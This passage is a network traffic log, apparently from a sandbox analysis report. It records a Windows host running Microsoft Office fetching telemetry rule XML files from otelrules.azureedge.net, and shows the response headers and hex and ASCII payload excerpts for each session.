2024-11-20 20:05:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 7865c287-e01e-003c-7664-3bc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200541Z-178bfbc474bbbqrhhC1NYCvw7400000000qg000000000217 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200542Z-178bfbc474bscnbchC1NYCe7eg00000000fg00000000mfqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200543Z-185f5d8b95cjbkr4hC1NYCeu240000000ap0000000000sk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:43 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 538e08fd-a01e-0032-4b7d-3b1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200543Z-1777c6cb754lvj6mhC1TEBke940000000a60000000006d31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:42 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200543Z-1777c6cb754mqztshC1TEB4mkc0000000a4g000000009rxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200543Z-r1d97b99577sdxndhC1TEBec5n00000009c000000000mgbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:43 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200545Z-r1d97b99577brct2hC1TEBambg00000002yg00000000mkvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:45 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:45 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200545Z-178bfbc474bscnbchC1NYCe7eg00000000q0000000002nz5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:45 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fce879e9-f01e-0052-0d66-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200545Z-178bfbc474bkvpdnhC1NYCuu2w00000000bg0000000030a6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:45 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:45 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200545Z-r1d97b99577mrt4rhC1TEBftkc000000097g00000000bdq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:45 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200545Z-1777c6cb754xjpthhC1TEBexs800000009wg00000000fvqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:47 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200547Z-1777c6cb754gvvgfhC1TEBz4rg0000000a0000000000ykmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" 